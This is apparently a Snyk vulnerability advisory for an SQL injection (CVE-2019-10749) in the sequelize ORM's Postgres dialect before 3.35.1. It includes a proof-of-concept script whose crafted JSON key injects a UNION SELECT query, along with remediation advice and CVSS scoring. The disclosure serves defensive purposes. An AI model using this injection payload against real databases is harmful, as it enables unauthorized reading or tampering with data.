SQL Injection

Affecting sequelize package, versions <3.35.1

Do your applications use this vulnerable package? Test your applications

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to JSON path keys not being properly sanitized in the Postgres dialect.

PoC by Snyk

const Sequelize = require('sequelize');

const sequelize = new Sequelize('someregistry', 'postgres', '', {
  host: 'localhost',
  port: '5432',
  dialect: 'postgres'
});

const Project = sequelize.define('Project', {
  name: Sequelize.DataTypes.TEXT,
  target: Sequelize.DataTypes.JSONB,
}, {
  tableName: 'projects',
});

(async () => {
  await sequelize.authenticate();

  console.log(await Project.findAll({
    where: {target: {"a": 1}},
    attributes: ['name'],
    raw: true
  }));

  console.log(await Project.findAll({
    where: {target: {"a}') = '1' UNION SELECT VERSION(); -- ": 1}},
    attributes: ['name'],
    raw: true
  }));
})();

// https://github.com/sequelize/sequelize/blob/v3/lib/dialects/abstract/query-generator.js#L2201
// $baseKey = self.quoteIdentifier(key)+'#>>\'{'+path.join(', ')+'}\'';

Remediation

Upgrade sequelize to version 3.35.1 or higher.

References

CVSS Score

7.3
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    Low
  • Integrity
    Low
  • Availability
    Low
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C
Credit
Snyk Security Team
CVE
CVE-2019-10749
CWE
CWE-89
Snyk ID
SNYK-JS-SEQUELIZE-450222
Disclosed
20 Jun, 2019
Published
21 Jun, 2019